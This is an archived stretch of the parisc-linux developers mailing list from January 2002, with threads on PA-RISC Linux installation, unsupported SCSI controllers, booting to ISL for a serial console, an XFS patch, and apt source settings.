X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13800

Hi all,

        I  just updated the 0.9 version of the PARISC-Linux Boot HOWTO. 
If you have any comments, please mail me.
If not, I'll submit it to the Linux Documentation Staff.

Thomas.
ESIEE Team




From - Thu Nov 08 21:21:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Schulte <pschulte@uni-duisburg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux doesn't detect any hard drives
Date: Sun, 20 Jan 2002 16:56:39 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20020120165639.A26621@nepomuk.max.uni-duisburg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620987 1353 80.91.229.3 (22 Nov 2014 01:49:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 20 08:56:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maximilian.max.uni-duisburg.de (schem4145.uni-duisburg.de [134.91.69.2])
	by dsl2.external.hp.com (Postfix) with SMTP id D6D28482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jan 2002 08:56:39 -0700 (MST)
Original-Received: (qmail 30512 invoked from network); 20 Jan 2002 15:56:38 -0000
Original-Received: from nepomuk.max.uni-duisburg.de (134.91.242.42)
  by maximilian.max.uni-duisburg.de with SMTP; 20 Jan 2002 15:56:38 -0000
Original-Received: from phil by nepomuk.max.uni-duisburg.de with local (Exim 3.12 #1 (Debian))
	id 16SKKl-0006vd-00
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jan 2002 16:56:39 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13801

Hello,   
I am trying to install parisc-linux 0.9.3 on a HP 735/99. I booted
from CD and the installer told me that now disks were detected.
In the boot console I see the CD-ROM mentioned as something like "P0
scsi" and the disk as "P1  fwscsi". The disks works fine, HP-UX is
installed and boots.
It looks like Linux doesn't support the fwscsi-controller even though
it should.
Does anyone know this problem and how to solve it?
Thanks a lot,
Phil

BTW: The problem with the boot console not responding was solved by
experimenting with the serial port parameters. Thanks for the help.



From - Thu Nov 08 21:21:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting to ISL with Linux installed
Date: Sun, 20 Jan 2002 17:16:34 +0100
Organization: private
Lines: 53
Approved: news@gmane.org
Message-ID: <3C4AED62.F3914545@gmx.at>
References: <DLEJJFGDAJICFFBHFNCDAEAPCEAA.bjorn.bylander@telia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620987 1355 80.91.229.3 (22 Nov 2014 01:49:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Bj=F6rn?= Bylander <bjorn.bylander@telia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 20 09:16:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id B03ED482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jan 2002 09:16:47 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep14-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020120161644.FJYE11252.viefep14-int.chello.at@gmx.at>;
          Sun, 20 Jan 2002 17:16:44 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13802

The problem you have, is that you may have activated the `autoboot'
mode.
Try to interrupt the autoboot mode by pressing <ESC>. Then you can
disable
autoboot.

But this is not your major problem. The "ISL" prompt after booting a
LIF-IMAGE was a tool inside the LIF-IMAGE. The boot load PALO works
in a different way. PALO together with a recovery kernel is also in
a LIF-IMAGE but there are no tools, as you know from HP-UX to boot
a HP-UX kernel with the command "hpux" or "boot" and there are also
not tools like "IODC" or whatever they were called (I am no HP 
specialist, but I want to learn more and more ...).

So you need to have a LIF-IMAGE stored on a different place or
loaded from net including those HP-UX basic tools. Such a LIF
image canbe found on the HP-UX itself, called "uxbootlf" (AFAIK).

By the way: I am also interetsed in setting my 712/60 to serial 
console. But I heard, it is a problem to setup wrong values here,
as no device may fanctioning then. What have I to do, to restore
the machine to let's say "factory setups" ?

With friendly regards
Christoph


Bjrn Bylander wrote:
>
> Hello,
> 
> I recently acquired a HP 712/80 system. I've installed PA-RISC Linux 0.9.3 on it and it runs fine.
> I've got one problem though. I don't know how to get to ISL after I installed Linux.
> The reason I want to use ISL is that I want to (try) to make the machine use a serial console.
> Before I installed Linux the machine booted into ISL automatically as the HD was wiped (or at least not bootable) but if I try to boot to ISL now with 'boot pri isl' (from BOOT_ADMIN) I only get to the 'configuration mode' of PALO where you can enter the kernel and other boot stuff.
> 
> All in all, how can I get to the ISL> prompt so that I can use 'conspath 2/0/4.0x283'?
> 
> Thanks in advance,
> Bjrn Bylander
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:21:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] journaling filesystem on parisc?
Date: Sun, 20 Jan 2002 09:56:52 -0800
Lines: 28
Approved: news@gmane.org
Message-ID: <20020120175652.GQ21816@tausq.org>
References: <15429.47940.937550.926908@gargle.gargle.HOWL> <20020120005117.GK21816@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620988 1361 80.91.229.3 (22 Nov 2014 01:49:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:48 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 20 10:57:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5DC88482B
	for <parisc-linux@parisc-linux.org>; Sun, 20 Jan 2002 10:57:13 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id xrzwkaaa for parisc-linux@parisc-linux.org; Sun, 20 Jan 2002 10:57:15 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16SMD6-0007st-00; Sun, 20 Jan 2002 09:56:52 -0800
Content-Disposition: inline
In-Reply-To: <20020120005117.GK21816@tausq.org>
User-Agent: Mutt/1.3.25i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13803

> i've put a patch out at:
> ftp://ftp.parisc-linux.org/patches/xfs-1.0.2-hppa-2.4.17-pa11.diff.gz

There's another one now at 
ftp://ftp.parisc-linux.org/patches/xfs-1.0.2-hppa-2.4.17-pa11-small.diff

This one contains only the hppa changes and is meant to be applied over
parisc linux cvs + the following patches from SGI:

from ftp://oss.sgi.com/projects/xfs/download/patches/2.4.17: 

   xfs-2.4.17-split-only.bz2
   xfs-2.4.17-split-kernel.bz2
   xfs-2.4.17-split-misc.bz2
   xfs-2.4.17-split-acl-extattr.bz2
(apply in that order)

there's one new change relative to the old one in page_buf_locking.c
that seems to be a bug upstream. i've reported this to them already.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux doesn't detect any hard drives
Date: Sun, 20 Jan 2002 23:00:07 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20020120230007.C31512@parcelfarce.linux.theplanet.co.uk>
References: <20020120165639.A26621@nepomuk.max.uni-duisburg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620988 1366 80.91.229.3 (22 Nov 2014 01:49:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Philipp Schulte <pschulte@uni-duisburg.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 20 16:00:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50615482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jan 2002 16:00:10 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16SQwZ-0001T6-00; Sun, 20 Jan 2002 23:00:07 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020120165639.A26621@nepomuk.max.uni-duisburg.de>; from pschulte@uni-duisburg.de on Sun, Jan 20, 2002 at 04:56:39PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13804

On Sun, Jan 20, 2002 at 04:56:39PM +0100, Philipp Schulte wrote:
> I am trying to install parisc-linux 0.9.3 on a HP 735/99. I booted
> from CD and the installer told me that now disks were detected.
> In the boot console I see the CD-ROM mentioned as something like "P0
> scsi" and the disk as "P1  fwscsi". The disks works fine, HP-UX is
> installed and boots.
> It looks like Linux doesn't support the fwscsi-controller even though
> it should.

I don't know why you say `Linux should support the fwscsi-controller'.
It doesn't, and this is stated clearly on the 0.9.3 supported systems
page (http://www.parisc-linux.org/release-0.9/systems-093.html):

The not-yet-supported hardware
These systems currently have problems or lack hardware specific support to make them fully functional

    * Superdome, V and T class
    * K class
    * L3000,N class
    * E, F, G, H, I class
    * 735/FWdiff

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Bj=F6rn_Bylander?= <bjorn.bylander@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Booting to ISL with Linux installed
Date: Mon, 21 Jan 2002 00:05:06 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <DLEJJFGDAJICFFBHFNCDGEBBCEAA.bjorn.bylander@telia.com>
References: <3C4AED62.F3914545@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620988 1369 80.91.229.3 (22 Nov 2014 01:49:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:48 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 20 16:05:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailg.telia.com (mailg.telia.com [194.22.194.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22F36482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jan 2002 16:05:17 -0700 (MST)
Original-Received: from d1o999.telia.com (d1o999.telia.com [195.67.201.241])
	by mailg.telia.com (8.11.6/8.11.6) with ESMTP id g0KN5Ej12297
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jan 2002 00:05:14 +0100 (CET)
Original-Received: from finkel (h186n1fls20o999.telia.com [213.64.112.186])
	by d1o999.telia.com (8.10.2/8.10.1) with SMTP id g0KN58r17539
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jan 2002 00:05:08 +0100 (CET)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Importance: Normal
In-Reply-To: <3C4AED62.F3914545@gmx.at>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13805

Ok, is there no way to do the equivalent of "conspath" under Linux, =
through /dev/nvram perhaps?
If not, is there any way I can get the "uxbootlf" image without buying a =
license for the appropriate HPUX version?

Best regards,
Bj=F6rn
> -----Original Message-----
> From: parisc-linux-admin@lists.parisc-linux.org
> [mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of =
Christoph
> Plattner
> Sent: Sunday, January 20, 2002 5:17 PM
> To: Bj=F6rn Bylander
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Booting to ISL with Linux installed
>=20
>=20
> The problem you have, is that you may have activated the `autoboot'
> mode.
> Try to interrupt the autoboot mode by pressing <ESC>. Then you can
> disable
> autoboot.
>=20
> But this is not your major problem. The "ISL" prompt after booting a
> LIF-IMAGE was a tool inside the LIF-IMAGE. The boot load PALO works
> in a different way. PALO together with a recovery kernel is also in
> a LIF-IMAGE but there are no tools, as you know from HP-UX to boot
> a HP-UX kernel with the command "hpux" or "boot" and there are also
> not tools like "IODC" or whatever they were called (I am no HP=20
> specialist, but I want to learn more and more ...).
>=20
> So you need to have a LIF-IMAGE stored on a different place or
> loaded from net including those HP-UX basic tools. Such a LIF
> image canbe found on the HP-UX itself, called "uxbootlf" (AFAIK).
>=20
> By the way: I am also interetsed in setting my 712/60 to serial=20
> console. But I heard, it is a problem to setup wrong values here,
> as no device may fanctioning then. What have I to do, to restore
> the machine to let's say "factory setups" ?
>=20
> With friendly regards
> Christoph
>=20
>=20

<original text removed>

>=20
> --=20
> -------------------------------------------------------
> private:	christoph.plattner@gmx.at
> company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:21:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Appropriate entries for apt sources.list
Date: Sun, 20 Jan 2002 21:28:24 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <3C4B7CC8.1000300@neuronet.pitt.edu>
Reply-To: raffo@neuronet.pitt.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620989 1371 80.91.229.3 (22 Nov 2014 01:49:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 20 19:35:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from inca.herrera.edu (pool-151-201-225-44.pitt.east.verizon.net [151.201.225.44])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC80E482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jan 2002 19:35:57 -0700 (MST)
Original-Received: from neuronet.pitt.edu (localhost [127.0.0.1])
	by inca.herrera.edu (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g0L2SPj04296
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jan 2002 21:28:25 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7+) Gecko/20020116
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13806

I just finished a test install of CD 0.9.3 on a B132L workstation. 
Comparing this with a couple of 715/75, 715/80 installs I made before, I 
noticed a difference in the sources.list files.

My last installation contains:

deb ftp://ftp.us.debian.org/debian/ testing main non-free contrib
deb-src ftp://ftp.us.debian.org/debian/ testing main non-free contrib
deb http://non-us.debian.org/debian-non-US testing/non-US main contrib 
non-free
deb-src http://non-us.debian.org/debian-non-US testing/non-US main 
contrib non-free

Whereas the old installs have:

deb ftp://ftp.us.debian.org/debian/ unstable main non-free contrib
deb-src ftp://ftp.us.debian.org/debian/ unstable main non-free contrib
deb http://non-us.debian.org/debian-non-US unstable/non-US main contrib 
non-free
deb-src http://non-us.debian.org/debian-non-US unstable/non-US main 
contrib non-free

What would be the most appropriate setting at this point (in order to 
get the most usability in the system)? If "testing" is preferable, how 
can one revert the packages from "stable" to "testing" version using 
apt-get commands?

Thanks.

-- 
      Rafael




From - Thu Nov 08 21:21:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting to ISL with Linux installed
Date: Sun, 20 Jan 2002 20:02:35 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20020121030235.C37E737D2B@carmen.fc.hp.com>
References: <DLEJJFGDAJICFFBHFNCDGEBBCEAA.bjorn.bylander@telia.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620989 1374 80.91.229.3 (22 Nov 2014 01:49:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, taggart@carmen.fc.hp.com
To: =?iso-8859-1?Q?Bj=F6rn_Bylander?= <bjorn.bylander@telia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 20 20:02:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BF69482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jan 2002 20:02:37 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 35D896000DC; Sun, 20 Jan 2002 22:02:36 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id C37E737D2B; Sun, 20 Jan 2002 20:02:35 -0700 (MST)
In-Reply-To: Your message of "Mon, 21 Jan 2002 00:05:06 +0100."
             <DLEJJFGDAJICFFBHFNCDGEBBCEAA.bjorn.bylander@telia.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13807

=?iso-8859-1?Q?Bj=F6rn_Bylander?= writes...

> If not, is there any way I can get the "uxbootlf" image without buying a =
> license for the appropriate HPUX version?

There is a uxbootlf in cvs for this purpose. It's in the build-tools
directory, or you can grab it via viewcvs at,

http://cvs.parisc-linux.org/~checkout~/build-tools/uxbootlf

BTW- I recently converted a couple 712s with serial console *back* to
graphics console since the sti-fb stuff is working so well now.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:21:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kaj-Michael Lang" <milang@tal.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sti console (was: Booting to ISL with Linux installed)
Date: Mon, 21 Jan 2002 08:59:37 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <002a01c1a249$31f95260$4011e882@abo.fi>
References: <DLEJJFGDAJICFFBHFNCDGEBBCEAA.bjorn.bylander@telia.com>  <20020121030235.C37E737D2B@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620989 1376 80.91.229.3 (22 Nov 2014 01:49:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:49 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 20 23:59:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ra.abo.fi (ra.abo.fi [130.232.213.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id EDB4A482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jan 2002 23:59:41 -0700 (MST)
Original-Received: from pctest10 (pctest10.abo.fi [130.232.17.64])
	by ra.abo.fi (8.10.1/8.10.1) with SMTP id g0L6xcT26637
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jan 2002 08:59:39 +0200 (EET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
